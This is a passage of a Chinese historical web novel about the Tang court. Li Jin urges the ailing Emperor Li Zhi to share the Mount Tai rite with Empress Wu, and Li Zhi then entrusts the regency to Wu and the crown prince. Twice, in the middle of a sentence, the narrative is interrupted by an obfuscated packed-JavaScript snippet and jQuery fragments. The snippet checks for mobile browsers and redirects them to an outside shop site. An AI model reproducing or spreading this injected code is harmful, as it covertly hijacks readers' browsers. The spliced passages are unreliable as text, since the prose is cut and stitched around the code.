他稍稍提高了声音,带着一种不容置疑的笃定:“陛下试想,若非常之时,陛下委政于后,而天后殿下亦能担此重任,使国泰民安,四夷宾服,此等格局,古来可有?此非陛下之失,实乃陛下之能!能容人,能信人,能成就人!此等胸襟气度,岂是那些死守‘后宫不得干政’腐儒之见的庸主所能及?后世史笔,于此一段,非但不会诟病陛下,反会大书特书,赞陛下为非常之君,能行非常之事,成就非常之功!”
李治的呼吸微微急促起来。李瑾这番话,角度极其刁钻,将他最介意的“皇后干政”,直接翻转成了“明君知人善任”、“夫妻一体同心”的佳话,甚至提升到了“非常之君行非常之事”的高度。这与他内心深处“权柄旁落、声名被掩”的恐惧,截然相反。是阿谀奉承?还是……另一种可能的解读?
“你……继续说。”李治的声音有些干涩。
“陛下,”李瑾见皇帝没有立刻斥责,心中稍定,知道自己的话至少引起了思考,便继续深入,“此乃其一。其二,陛下所虑者,身后之名,江山承继。臣以为,此虑大可不必。天后殿下与陛下,结发夫妻,情深义重,更有太子殿下为血脉纽带。天后殿下纵有经纬之才,然终究是李唐之媳,太子之母。她所做一切,稳固朝纲,富国强兵,最终受益者是谁?是陛下,是太子,是李唐宗庙!只要陛下在,只要太子储位稳固,天后殿下之权,便是陛下之权的延伸,便是未来交付于太子的、一个更加强盛稳固的江山!”
“至于民间流言,无知妄语,何足挂齿?”李瑾语气转为铿锵,“史家秉笔,自有公论。他们看到的,不会是某年某月某日谁批了奏章,而是这数十载,大唐是否国富民强,是否开疆拓土,是否文治武功,远迈前朝!只要能做到这一点,后世只会记住这是‘永徽’、‘显庆’、‘龙朔’、‘麟德’……是陛下您的年号下的盛世!天后殿下的贤能,梁国公等人的微劳,不过是这煌煌盛世画卷上,几笔不可或缺的浓墨重彩,而执笔挥毫、定下基调、成就这幅巨画的,永远是陛下您!”
“陛下,”李瑾向前膝行半步,目光灼灼,带着一种近乎煽动性的热切,“您为何一定要执着于‘事必躬亲’?为何一定要与皇后殿下、与臣等比‘谁更勤政’、‘谁更知名’?您是天子,是这艘巨舰的舵手!舵手无需亲自去划每一支桨,去扬每一面帆,他只需把握正确的方向,信任得力的水手,便能带领巨舰,乘风破浪,抵达前人所未至的彼岸!陛下今日之局面,何尝不是如此?陛下用对了人,定对了策,信任了该信任的人,于是有了这‘二圣临朝’,政通人和的盛世景象!这,难道不是陛下最大的功绩吗?这,难道不比事必躬亲却可能顾此失彼,更显陛下之英明神武吗?”
“二圣临朝……”李治喃喃重复着这个词,眼中闪过复杂的光芒。这个词,是尊号,是荣耀,可又何尝不是他心头的一根刺?但此刻被李瑾用这种方式解读——是他李治“用人得当”、“决策英明”的成果,是他“领导有方”的体现——竟让他有种别样的、豁然开朗的感觉。是啊,为何一定要拘泥于形式?如果结果是大唐强盛,如果史书最终铭记的是他李治的年号,是他开创的盛世……
“然则,”李治终究是帝王,疑虑并未完全消除,“后世会如何评说?会否认为朕……软弱,受制于妇人?”
李瑾立刻摇头,斩钉截铁:“绝无可能!陛下,史家看的是结果,是功业!汉有吕后,唐有……天后,”他巧妙地避开了直接比较,“然吕后之后如何?诸吕乱政,几倾社稷!而今天后殿下临朝,天下安堵,太子贤明,朝臣用命,此乃截然不同!后世只会看到,陛下以非凡之胸襟气度,开创了‘帝后共治,阴阳和合,以臻至治’的新局!此非但不是陛下之短,恰是陛下之长,是超越前古、足为万世法的为君之道!”
他顿了顿,声音变得更加低沉而有力,抛出了他构思已久、也是最具风险的核心建议:“陛下,臣斗胆妄言。陛下与天后,一为日,一为月,日月同辉,方有白昼光明。陛下为乾,天后为坤,乾坤并立,方有山河稳固。此乃天作之合,亦是国运所钟!既如此,何不将此事,做得更堂皇正大,更名垂青史?”
李治的瞳孔微微收缩:“更堂皇正大?此言何意?”
李瑾迎上皇帝探究的目光,一字一句,清晰地说道:“陛下可曾想过,与其让后世史家猜测、议论陛下与天后之权柄分配,何不由陛下亲自定下基调,将此‘帝后共治、同心同德’之局,以正式典仪、乃至典章制度的形式,昭告天下,传之后世?”
“譬如,”李瑾的声音带着一种引导性的诱惑,“陛下可于病体稍愈之时,御临朝会,当众褒奖天后辅政之功,重申‘二圣’一体,共理阴阳。可命史官详录天后理政之德政,载入国史。甚至……可于泰山封禅此等旷世大典中,明确天后之地位,使其与陛下同享祭祀,共受天命!如此,天后之权,便不再是‘代行’,而是陛下‘授予’并‘认可’的、名正言顺的‘共治’之权!后世观之,只会赞叹陛下之胸襟如海,气度恢弘,能得贤后如此,能开创千古未有之治世格局!而陛下您,便是这格局的缔造者、定鼎者!无论天后殿下如何贤能,无论臣等如何奔走,这千秋史册上,最耀眼的名字,注定是陛下您!是您,李治,大唐皇帝,开创了这‘日月同天、二圣共治’的煌煌盛世!”
“泰山封禅……同享
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039164|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祭祀……共受天命……”李治被这大胆到近乎骇人听闻的提议震住了,喃喃重复着,眼神中充满了震惊、茫然,以及一丝被深深触动的、难以言喻的光芒。
封禅泰山,是古来帝王功成治定、告成功于天地的最高仪式。若在封禅大典中,明确武媚娘的地位,让她与自己一同祭祀天地,那无疑是向全天下、乃至向历史宣告,武媚娘的地位,不仅仅是皇后,不仅仅是“天后”,而是与他李治并列的、受命于天的“共治者”!这简直……简直是冒天下之大不韪!自古以来,何曾有女子与皇帝同登封禅台?
但,李瑾的话,又像魔鬼的低语,充满了诱惑。如果这样做了,那么武媚娘所有的理政行为,都将被赋予“天命所归”、“帝意所许”的最高合法性。她不再是一个“干政”的皇后,而是他李治亲自认可、并赋予神圣职责的“共治者”。而他李治,也不再是那个“体弱”“权柄旁落”的皇帝,而是“心胸广阔”“善于用人”“开创格局”的明君、圣主!他所有的憋屈、不甘,似乎都能在这前所未有的“共治”名分下,得到完美的化解和升华。他将以一个开拓者、制度创立者的身份,超越他的父亲太宗皇帝,在史书上留下独一无二的、浓墨重彩的一笔!
风险极大,但回报……也极具诱惑。这不仅仅是给武媚娘一个名分,更是给他李治自己,一个体面的、甚至堪称伟大的台阶下,一个重新定义自己帝王生涯、对抗内心无力感和后世可能非议的绝佳机会。
李治沉默了。长久地沉默。烛火在他深陷的眼窝中跳动,映出他眼中激烈的挣扎、权衡、恐惧,以及一丝越来越明显的、名为“野心”或“挽回尊严”的火苗。
李瑾屏住呼吸,他知道,自己这番话,是在刀尖上跳舞。他在挑战根深蒂固的礼法,在试探皇帝最深的心结,也在为那位远在紫宸殿中批阅奏章的天后,争取一个前所未有的、正式的历史地位。这既是为了安抚皇帝,也是为了……某种更长远的布局。他赌的,是李治内心深处那不甘被遗忘、渴望超越、渴望在史册上留下独特印记的帝王之心。
不知过了多久,李治才缓缓吐出一口气,那气息悠长而颤抖,仿佛卸下了千钧重担,又仿佛做出了某个艰难无比的决定。他没有看李瑾,只是望着帐顶繁复的藻井图案,声音飘忽,却带着一种异样的清晰:
“日月同天,二圣共治……开创格局,定鼎后世……李瑾,你这话,是替朕想的,还是……替别人问的?”
这话问得极其犀利,直指李瑾提议的动机。是真心为皇帝解忧?还是为天后探路?或者,两者皆有?
李瑾心中凛然,知道最关键的时刻到了。他再次深深俯首,额头触及冰冷的地面,声音无比诚恳,也无比坚定:“陛下,此话发自臣之肺腑,亦是臣观当今时势,思陛下之忧,为陛下谋,为社稷谋,为千秋万代谋!天后殿下之才,陛下深知;天后殿下之劳,陛下亦见。既如此,何不使其名正言顺,使其功业,完完全全归于陛下开创之盛世?此非独为天后殿下,更为陛下圣名,为太子殿下将来承继一个稳固、合法、无有争议的江山!臣此言,可对天日,若有半点私心,叫臣……”
“够了。”李治打断了他的誓言,似乎有些疲惫地摆了摆手,“此事……非同小可。容朕……再想想。”
他没有答应,但也没有拒绝。这本身,就是一种态度。李瑾知道,种子已经种下。以陛下多疑又渴望认可的性格,这番话必将在他心中反复咀嚼,权衡利弊。而只要他开始认真思考这个可能性,那么他之前的许多痛苦和挣扎,或许就能找到一个新的、更具“建设性”的出口。
“是。此乃关乎国本之议,自当由陛下圣心独断。”李瑾恭敬应道,知道今日已不能再多言。他缓缓起身,因跪得久了,膝盖有些酸麻,但他身形依旧稳如磐石。“夜已深,陛下龙体欠安,需好生歇息。臣,告退。”
李治没有再说话,只是闭上了眼睛,仿佛已沉沉睡去。但李瑾知道,他没有睡。那微微颤动的眼皮,和略显急促的呼吸,暴露了他内心极不平静的波澜。
李瑾躬身,慢慢退出寝殿。殿外,夜色深沉,寒风刺骨。他抬起头,望着紫微宫方向那一片璀璨的灯火,那里,是武媚娘处理政务的紫宸殿。他今日这番话,究竟是安抚了皇帝,还是为未来埋下了更大的变数?**。他只知道,在这权力的漩涡中,他必须尽力维持平衡,在忠诚与道义、在帝后之间、在现在与未来之间,走出一条最艰难、却也可能是唯一正确的路。
殿内,李治缓缓睁开眼,眸中光芒闪烁不定。“日月同天……二圣共治……泰山封禅……”他低声重复着这几个词,嘴角慢慢扯起一个极淡、极复杂,却又仿佛带着一丝疯狂与期待的弧度。
“共享……吗?”他轻轻地问,问这空寂的寝殿,也问那不可知的命运。
第198章 释怀与托付
李瑾离开后的长生殿,并未因一个人的离去而恢复寂静。相反,一种无形的、更加沉重的东西,压在了每一个角落,沉甸甸地,连空气都仿佛凝滞了。王德真指挥着内侍,悄无声息地更换了将尽的烛火,又端来新煎的汤药,浓郁的药味在暖炉烘烤下弥漫开来,混合着安神香,却怎么也驱不散那弥漫在帝王眉宇间的沉沉暮气与……一丝异样的亢奋。
李治依旧靠在那里,闭着眼,一动不动,仿佛一尊失去生气的雕像。但王德真侍奉多年,敏锐地察觉到,陛下似乎有些不同。不再是之前那种全然死寂的绝望,也不是暴怒后的虚脱,而是一种……紧绷的、带着某种奇异亮光的沉寂。像冰封的河面下,有湍急的暗流在奔涌,在冲撞,在寻找着决堤的出口。
方才梁国公究竟说了什么?王德真不敢问,甚至不敢深想。但他看到陛下在梁国公告退后,枯瘦的手指在锦被上无意识地蜷曲、松开,又再次蜷曲,嘴唇微微翕动,仿佛在无声地重复着什么词句。那浑浊的眼中,偶尔有光芒一闪而过,快得让人以为是烛火的错觉,却又锐利得惊人。
是“日月同天”,是“二圣共治”,是“泰山封禅”。
这几个词,如同带有魔力的咒语,在李治的脑海中反复盘旋、碰撞、回响。它们带来巨大的冲击,带来颠覆传统的恐惧,却也带来一种难以言喻的、近乎战栗的诱惑。像是一个在无尽黑暗中跋涉的旅人,突然看到前方出现了一条从未设想过的小径,小径尽头,未必是坦途,却闪烁着足以让人忘却所有疲惫与恐惧的、奇异的光芒。
共享……同辉……定鼎……超越……
李瑾描绘的那个图景,实在太有诱惑力了。那不再是一个“被皇后架空、被能臣掩盖、后世可能沦为平庸过渡者”的李治,而是一个“胸怀宽广、知人善任、敢于开创千古未有之格局、与贤后共同缔造盛世、功绩直追乃至超越尧舜秦皇汉武、乃至父皇太宗”的李治!他所有的“失权”,都变成了“授权”和“格局”;他所有的“无奈”,都变成了“睿智”和“气度”;他所有的“憋屈”,都将在泰山之巅、在史家如椽巨笔之下,化为独一无二的、属于圣君的荣光!
这真的是可行的吗?真的能被朝野接受吗?真的能写入历史,被后人如此解读吗?媚娘……她会满足于这个“共治”的名分吗?她会理解自己这番“苦心”吗?还是会……
纷乱的思绪如同千万根细针,扎刺着李治本就疼痛不已的头部。他感到一阵阵眩晕,太阳穴突突直跳。但那奇异的兴奋感,却像一剂强心针,支撑着他,让他无法沉沉睡去。
不,不能急。李治残存的理智在警告自己。李瑾的话,无论是出于安抚,还是出于别的什么目的,都过于大胆,过于离经叛道。泰山封禅,同享祭祀?这简直闻所未闻!那些清流文臣,那些李唐宗室,那些自诩礼法守护者的老顽固,会如何反应?天下人会如何议论?
但……如果成功了呢?如果,这真的成为现实了呢?
这念头一旦生出,就疯狂滋长,难以遏制。它像藤蔓,缠绕着李治那颗被病痛和猜忌折磨得千疮百孔的心,带来一种近乎窒息的、却又带着致命吸引力的想象。他仿佛能看到,在巍峨的泰山之巅,在浩荡的天风之中,他与武媚娘并肩而立,接受万民朝拜,祭祀天地,宣告一个前所未有的、由他们共同缔造的盛世来临。史书上会写下:“高宗**大圣大弘孝皇帝与则天顺圣皇后,二圣同朝,日月并曜,开创‘麟德之治’,国泰民安,四夷宾服,功高德韶,垂范万世……”
那是何等光景?那是何等功业?!
“嗬……嗬嗬……”李治喉咙里发出古怪的、似笑非笑的声音,引得王德真一阵心惊胆战,连忙上前。“陛下?您怎么了?可是哪里不适?奴婢这就去传太医……”
“不必。”李治抬手制止了他,声音嘶哑,却带着一种奇异的清晰,“朕……想一个人静静。你……退到殿外去。没有朕的吩咐,任何人不得打扰,包括……皇后。”
王德真一愣,陛下已经很久没有明确表示过不想见皇后了。他不敢多问,连忙应下:“是,奴婢遵旨。”躬身退了出去,轻轻掩上了寝殿厚重的大门。
殿内重新恢复了彻底的寂静。只有烛火偶尔的噼啪声,和李治自己粗重而断续的呼吸声。他睁着眼,望着头顶繁复华丽的藻井,那些龙凤云纹的图案,在摇曳的烛光下,仿佛活了过来,在无声地舞蹈、盘旋,最终都化作了两个字:封禅。
是的,封禅。这个念头,并非今日才有。早在数年前,国力日盛,四夷宾服之时,就有大臣上表,请求封禅泰山,以彰显功绩,告慰天地。那时他也曾心动,但一是身体时好时坏,长途跋涉恐难支撑;二是朝中总有杂音,认为功业未至巅峰;三来……或许潜意识里,他也觉得,以自己“体弱多病、政多出于后”的局面,去行那只有旷世明君才敢举行的封禅大典,未免有些……底气不足。
可如今,李瑾的话,仿佛为他打开了一扇全新的门,也为他那隐隐的底气不足,提供了一个绝佳的、甚至是无与伦比的“解决方案”。如果封禅的,不是他一个人,而是“二圣”呢?如果这旷世大典,不仅仅是彰显他李治的功绩,更是彰显他与武媚娘共同开创的“日月同辉、乾坤并立”的盛世格局呢?
那就不再是底气不足,而是“格局宏大”!不再是“政出多门”,而是“夫妻一体,共治天下”!这简直是一个完美的、一举多得的方案!既能安抚媚娘,稳固朝局(毕竟,给予了她近乎同等的祭祀地位,是任何权位封号都无法比拟的终极认可);也能为他李治正名,将他从“弱势皇帝”的阴影中彻底解脱出来,塑造成“开创性圣君”的形象;还能借此机会,将“二圣共治”以最神圣、最正式的方式宣告天下,奠定武媚娘未来辅政、乃至在他身后可能继续发挥影响力的法理性基础,为太子的平稳过渡铺路;更能将那些潜在的、对武媚娘掌权不满的声音,用“天命所归”、“帝后同心”的最高权威压下去……
风险依然存在,而且巨大。但相比于可能获得的回报——个人身后的不朽圣名,江山社稷的稳固传承,以及……一种心灵上的解脱与自我实现——这风险,似乎值得一搏。至少,这给了他一个希望,一个目标,一个不再沉溺于自怨自艾、而是可以主动去争取、去塑造的****。
李治的心跳,因为这份越来越清晰的、带着疯狂色彩的构想,而渐渐加速。一种久违的、近乎炽热的情绪,在他冰冷的躯体内缓慢流淌。那是帝王之心,是渴望建立不世功业、渴望在青史上留下独一无二印记的本能。这份本能,被病痛和猜忌压抑了太久,此刻被李瑾的话语点燃,便如野火燎原,势不可挡。
“弘儿……”他喃喃地念出长子的名字,眼中的光芒闪烁了一下。是的,还有弘儿。这是他所有谋算的最终指向,是他李唐江山的未来。他所有的挣扎、所有的痛苦、所有的不甘,归根结底,都是为了这个仁孝却略显文弱的儿子,能顺利继承一个稳固的、强大的帝国。
如果“二圣共治、泰山封禅”能够实现,那么至少在名义和法理上,他李治的权威将达到顶峰,武媚娘的地位也将彻底巩固。而作为他们共同承认的、名正言顺的储君,李弘的继承权将坚不可摧。即便自己将来不在了,有“天后”和“梁国公”这样的“二圣”旧臣辅佐(至少名义上是辅佐),弘儿的江山,应该能坐得更稳些吧?
这想法,让他心中那团炽热的火,稍微冷静了一丝。他不得不面对现实:自己的身体,恐怕真的撑不了太久了。他必须为弘儿,安排好一切。而李瑾今日的表现,无论是出于真心还是假意,至少明确表达了忠于李唐、忠于太子的立场。这是一个可以托付的人吗?在媚娘和自己之间,在现在和未来之间,他会做出何种选择?
李治没有绝对的把握。但他知道,李瑾是目前为止,他所能找到的、在能力、威望、以及与媚娘关系上,都最适合的、可能起到平衡和保障作用的人选。更重要的是,李瑾今日主动提出的“共享”理念,无论是出于何种动机,都表明他看到了问题所在,并且在试图寻找一个“皆大欢喜”的解决方案。这至少说明,他不想看到局面崩溃,他在乎这个朝廷的稳定,也在乎……自己这个皇帝的感受和身后名。
也许,这就是够了。在别无选择的情况下,这或许就是最好的选择。
想到这里,李治心中那翻腾不息的情绪,渐渐沉淀下来,化作一种近乎悲凉的平静。他挣扎着,试图坐起身,王德真一直守在门外,听到动静,立刻悄步进来,小心翼翼地扶起他,在他身后垫上厚厚的隐囊。
“去,”李治喘了几口气,用虚弱但不容置疑的语气吩咐,“传太子来见朕。现在。”
王德真一惊:“陛下,此刻已近亥时,太子殿下恐怕已经安歇了,且夜深露重……”
“朕要见太子。”李治重复道,声音不大,却带着一种不容置疑的决绝,“让他即刻过来。还有……”他顿了顿,似乎下了极大的决心,“去紫宸殿,看看皇后是否还在处理政务。若在,请她……也过来一趟。就说,朕有要事相商。”
王德真心中更是掀起惊涛骇浪。深夜同时召见皇后和太子?这可是许久未有之事了!他不敢多问,连忙躬身:“是,奴婢这就去。”
“等等,”李治叫住他,目光扫过殿内摇曳的烛火,落在自己枯瘦的手指上,那枚象征着皇权的玉扳指,在昏黄的光线下,泛着温润而冰冷的光泽。“殿内……多点几盏灯。亮些。”
“是。”
当李弘略显匆忙、带着寝衣外匆忙披上的外袍,以及眼中未褪的睡意和浓浓担忧踏入长生殿时,他第一眼看到的,是比平日明亮许多的灯火,和坐在御榻上、虽然依旧消瘦憔悴、但眼神却异常清亮锐利的父亲。
“儿臣参见父皇。”李弘连忙跪倒行礼,心中惴惴。深夜急召,又见父皇神色有异,莫非是病情有变?
几乎就在李弘行礼的同时,殿外传来内侍清晰的通传声:“天后驾到——”
武媚娘来了。她显然还未就寝,依旧穿着白日里那身庄重的深青色常服,只是卸去了繁复的头饰,墨发简单地绾起,更显得面容清隽,目光沉静。她的步伐不疾不徐,带着一种惯常的从容,但在踏入寝殿、看到并排跪着的太子和榻上目光灼灼的皇帝时,她的眼底,几不可察地闪过一丝极淡的疑惑。
“臣妾参见陛下。”武媚娘微微屈身,目光快速而敏锐地扫过李治的脸,然后落在李弘身上,眉头几不可察地蹙了一下,但旋即平复。
“都起来吧。”李治的声音,比白日里似乎多了几分中气,尽管依旧沙哑。他指了指榻前早已备好的两个锦墩,“坐。”
李弘和武媚娘谢恩起身,依言坐下。李弘显得有些局促不安,目光在父母之间游移。武媚娘则端正坐着,双手交叠置于膝上,神情平静,等待着皇帝的开口。殿内的空气,因为这三人的齐聚,而变得异常凝重。
李治的目光,缓缓在妻子和儿子脸上扫过。他看到了李弘眼中的孺慕、担忧和一丝不安,也看到了武媚娘眼底那深不见底的沉静和探究。这就是他生命中最重要、也最让他爱恨交织、忧惧交加的两个人。一个是他血脉的延续,帝国的未来;一个是他半生的伴侣,权力的共享者,或许……也是未来最大的变数。
沉默持续了片刻,仿佛一个世纪那么漫长。李治终于开口,声音不高,却字字清晰,仿佛用尽了全身力气:
“朕今日召你们来,是有几句话,要交代。”
李弘心中一紧,鼻尖一酸,几乎要落下泪来。武媚娘的眼睫微微颤动了一下,交叠的手指,几不可察地收紧。
李治的目光,先落在武媚娘身上,复杂难言:“媚娘,这些年,辛苦你了。朕这身子不争气,里里外外,多亏了你撑着。”
武媚娘微微垂首:“陛下言重了。此乃臣妾分内之事。陛下龙体要紧,切勿过于劳心。”
“分内之事……”李治咀嚼着这个词,嘴角泛起一丝难以言喻的笑纹,很快又隐去。他转而看向李弘,眼神变得温和,也更深沉:“弘儿,你长大了。朕……很高兴。”
“父皇……”李弘声音哽咽。
“但还不够。”李治的语气陡然严肃起来,“你是太子,是大唐未来的国君。仁慈是美德,但为君者,仅有仁慈,远远不够。你要学的,还很多。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039165|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
治国,平天下,驾驭群臣,平衡朝局……这些,你母后,比朕做得好,也比朕……更有精力教你。”
李弘和武媚娘都抬起头,看向李治,不明白他为何突然说这些。
李治的目光,重新变得锐利,依次扫过两人,然后,一字一句,缓缓说道:“朕的身体,朕自己清楚。恐非长久之计。今日召你们来,是有一事,要当着你们的面,说清楚,也……托付清楚。”
他停顿了一下,似乎在积蓄力量,也似乎在观察两人的反应。李弘已忍不住泪流满面,武媚娘则挺直了背脊,神情更加专注。
“媚娘,”李治看着她,目光深沉,“你的才干,朕从不怀疑。这些年,你将这江山打理得很好,甚至比朕在位时,更好。这是你的本事,也是……朕的福气,是大唐的福气。”
武媚娘嘴唇微动,似乎想说什么,但李治抬手制止了她。
“朕知道,外间有流言,说什么‘只知天后,不知陛下’。”李治的语气很平静,甚至带着一丝自嘲,“起初,朕也耿耿于怀。但如今,朕想明白了。你是朕的皇后,是天后的身份处理国政,你的功绩,你的贤名,又何尝不是朕的功绩,朕的贤名?夫妻一体,荣辱与共。这江山,是李家的,也是你武媚娘用心血在守护的。朕,信你。”
最后三个字,他说得很慢,很重,仿佛有千钧之力。武媚娘霍然抬头,眼中第一次露出了清晰的震动。她看着李治,看着这个曾经深爱、如今却日渐陌生、猜忌日深的丈夫,似乎想从他眼中分辨出这话里,究竟有几分真心,几分试探,几分……无奈。
李治没有回避她的目光,继续道:“所以,朕今日要托付于你。若朕有不讳,太子年少,还需历练。朝政大事,军事要务,非他一人可决。朕要你,以太后之尊,继续辅政,总揽大纲,教导太子,直至其能独当一面。”
“父皇!”李弘失声惊呼,泪如雨下。武媚娘也微微吸了口气,袖中的手,悄然握紧。
“这不是商量,是朕的旨意。”李治的语气不容置疑,带着垂危帝王最后的气力,“弘儿仁孝,但经验不足,心性也需磨砺。有你在一旁看着,教着,朕才能放心。这既是为他,也是为这大唐江山。”他目光转向李弘,带着严厉,也带着期许:“弘儿,你要记住,将来亲政,务必敬重母后,多听母后教诲。母后之能,胜你百倍,有她辅佐,是你的福分,也是江山的福分。切不可因些微小事,或外间谗言,便生疏离之心,更不可有忤逆之念!记住了吗?”
李弘早已哭得不能自已,只能连连点头,哽咽道:“儿臣……儿臣记住了!儿臣一定孝顺母后,聆听教诲……父皇,您别说这些,您一定会好起来的……”
李治没有理会儿子的哭泣,他的目光,最终落在了虚空中的某一点,仿佛穿透了殿宇,望向了不可知的未来。他的声音,变得更加飘忽,却也更加清晰,带着一种近乎仪式般的庄重:
“至于梁国公李瑾……”
武媚娘的眼睫猛地一颤。李弘也止住了哭泣,抬起了泪眼。
“李瑾,国之柱石,忠勇无双,才干卓著。”李治缓缓说道,每一个字都像在斟酌,“他不仅是朕的股肱之臣,也是……皇后的得力臂助。这些年,内安朝政,外御强敌,他功不可没。更为难得的是,他……识大体,知进退,忠君体国。”
他看向武媚娘,又看向李弘:“朕要你们记住,也需让李瑾明白:朕信重他,皇后倚重他,太子将来,也要倚重他。他是李唐的忠臣,是朕留给太子……和皇后的辅政之臣。望你们,君臣相得,内外同心,共保我李唐江山,千秋万代。”
最后几句话,他说得极其缓慢,目光在武媚娘和李弘脸上来回扫视,仿佛要将每一个字,都刻进他们心里。这不是简单的肯定,这是一份沉重的、包含多重含义的托付。既肯定了李瑾的地位和作用,也暗示了他在未来帝后之间的桥梁与制衡角色,更是一种警告和期许——他希望李瑾的忠诚,能超越个人,始终服务于“李唐江山”这个整体。
武媚娘缓缓起身,然后,郑重地、深深地拜了下去,声音平静无波,却带着千钧之力:“臣妾,谨遵陛下旨意。必当竭尽心力,辅佐太子,安定社稷,不负陛下所托。”
李弘也慌忙跟着跪倒,泣不成声:“儿臣……儿臣谨遵父皇教诲!必当孝顺母后,倚重贤臣,克承大统!”
看着跪在面前的妻儿,李治疲惫地闭上了眼睛。心中那块压了许久的巨石,似乎松动了一些,但并没有消失,只是换了一种方式,沉甸甸地压在了另一个地方。他知道,这只是一个开始,一个脆弱的、建立在口头承诺和复杂人心之上的安排。未来如何,谁也无法预料。
但至少,他做了他能做的。他给了媚娘名分和期待,他给了弘儿告诫和依靠,他也给了李瑾……一个明确的位置和沉重的责任。至于“日月同天”、“泰山封禅”那个更加疯狂、也更加诱惑的构想……他还没有说出口。那需要时机,需要铺垫,需要……他身体状况允许,以及,媚娘和李瑾的“配合”。
那就……留待将来吧。至少此刻,他感到一种近乎虚脱的平静。
“都……起来吧。”他挥了挥手,声音里的力气仿佛被抽空了,“朕累了。你们……也回去歇着吧。”
武媚娘和李弘站起身,看着御榻上瞬间又萎靡下去、仿佛苍老了十岁的皇帝,心中五味杂陈。李弘还想说什么,却被武媚娘用眼神制止。她深深看了李治一眼,那目光复杂难明,有关切,有探究,或许,也有一丝极淡的、了然的悲悯。
“臣妾/儿臣告退,陛下/父皇万福金安。”
两人行礼,缓缓退出了寝殿。沉重的殿门,在他们身后轻轻合拢,将一室明亮的灯火、浓重的药味,和帝王那沉重如山的托付与心事,关在了里面。
殿外,夜色正浓,寒风凛冽。李弘红着眼眶,欲言又止。武媚娘停下脚步,望着紫宸殿的灯火,又回头看了看身后紧闭的长生殿殿门,半晌,才轻轻说了一句:“回去歇着吧。明日……还有早朝。”
她的声音很轻,消散在风里,听不出什么情绪。只有那挺直的背影,在宫灯昏暗的光线下,显得格外孤峭,也格外坚定。
第199章 天台大赦天下
长生殿那夜之后,仿佛有一只看不见的手,拨动了命运的弦。李治的病情,竟真的出现了些许转机。那深入骨髓的头痛眩晕,不再日夜不息地折磨他,虽然依旧虚弱,畏风畏光,但每日竟也能清醒地躺上三四个时辰,甚至能在宫人小心翼翼的搀扶下,勉强在殿内走上几步。汤药依旧服用,但御医们的脉案上,开始出现了“风邪稍退,肝阳略平”、“脾胃渐和,脉象稍起”之类的字眼,虽未敢言“康复”,却已是许久未见的“吉兆”。
这变化,让整个大明宫的气氛都为之一变。王德真等贴身内侍欣喜若狂,侍奉得更加尽心尽力,仿佛枯木逢春。东宫的李弘,闻讯后更是每日问安不断,脸上也多了几分真切的笑意,似乎父皇那夜的沉重托付带来的阴霾,都被这“好转”的喜讯冲淡了些许。朝臣们私下议论,也多了几分谨慎的乐观与猜度。
然而,最引人瞩目的,是皇后武则天的反应。她并未表现出过多的欣喜若狂,只是去长生殿问安的次数,悄然恢复了从前的频率,甚至更勤了些。她不再总是隔着屏风或帷帐问话,而是会坐在榻边,亲手为李治试药温度,轻声细语地与他交谈,说的却多是些轻松闲适的话题,如御苑中某株梅花开得正好,或是太子今日又读了什么新书,绝口不提朝政。她的神态平静温和,仿佛前些时日那若有若无的疏离与紧绷,都随着皇帝病情的“好转”而消融了。但李治能感觉到,那双沉静凤目深处的探究与考量,比以往任何时候都更加深邃。
李治自己,对这“好转”的感受最为复杂。身体确实松快了些,那日夜啃噬着他的、对死亡和彻底失权的恐惧,也随着这“好转”而略微退潮。但另一种更炽热、也更焦灼的欲望,却随之升腾而起——那是被李瑾那番“共享”、“同辉”话语点燃的、对“存在感”和“身后名”的强烈渴望。
他不再仅仅满足于躺在床上,听人禀报,被动地“释怀”与“托付”。他要行动起来,要告诉全天下,他李治还在,还是这大唐的皇帝,还是那个能够执掌乾坤、施恩于万民的天子!他要打破“只知天后、李公,不知陛下”的流言,哪怕只是短暂地、象征性地打破。
他想起了“大赦”。
大赦天下,是皇帝独有的、彰显至高皇权与浩荡天恩的盛典。非新帝登基、立储、祭祀天地、或皇帝病愈等重大吉庆,不得轻行。自他病重以来,朝廷虽也有过几次小范围的赦免,但那种涵盖全国、泽及万民、仪式隆重的“大赦”,已经许久未曾举行了。
一个念头在他心中迅速成型,并疯狂生长——他要登临宫中那座象征天人感应的“天台”,亲自主持一场大赦天下的盛典!他要让长安城的百姓,让天下的臣民都亲眼看见,他李治,大唐的皇帝,还没有倒下,还能登上高台,颁布恩诏!
这个念头让他枯萎的血液都似乎重新沸腾起来。他知道自己的身体状况,登上那数十级的天台,在初春的寒风中主持仪式,无疑是极大的冒险。御医们若是知道,必定拼死阻拦。媚娘……她会同意吗?她会愿意将这样一次彰显皇权、收揽民心的绝佳机会,完全让给自己吗?
他必须说服她,或者,至少让她无法反对。
在一个武则天前来问安的午后,李治靠在榻上,喝完药,状似无意地提起:“媚娘,朕这几日,觉得身上松快了些。许是开春天暖,阳气回升之故。”
武则天用丝帕轻轻替他拭去嘴角的药渍,温声道:“陛下气色是见好了些。御医也说,陛下肝气渐舒,心神渐安,正是好转的吉兆。陛下还需静心将养,切勿劳神。”
“静养……”李治目光望向窗外,那里春光初现,柳梢已见鹅黄,“朕躺得太久了。久到……都快忘了外面是什么样子,久到……百姓或许都快忘了,他们的皇帝,是何模样了。”
